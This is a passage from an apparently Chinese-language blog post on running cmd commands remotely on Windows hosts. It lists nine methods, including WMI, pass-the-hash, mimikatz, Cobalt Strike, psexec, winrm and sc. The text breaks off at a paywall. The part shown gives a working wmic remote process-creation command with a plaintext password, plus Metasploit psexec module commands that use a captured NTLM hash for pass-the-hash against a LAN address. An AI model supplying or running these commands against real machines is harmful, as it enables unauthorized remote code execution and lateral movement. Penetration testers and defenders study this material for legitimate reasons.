本文详细介绍了在Windows环境中远程执行cmd命令的九种不同方式，包括WMI执行（无回显）、Hash传递登录、mimikatz结合at计划任务、WMIcmd（有回显）、Cobalt Strike攻击、psexec工具（exe和vbs版本）、winrm协议以及使用sc命令。这些方法涵盖了多种安全和系统管理场景。
1.WMI执行命令方式,无回显：
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
2.使用Hash直接登录Windows（HASH传递）
抓取windows hash值,得到administrator的hash： 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
msf调用payload：
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CD
最低0.47元/天 解锁文章
1122
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
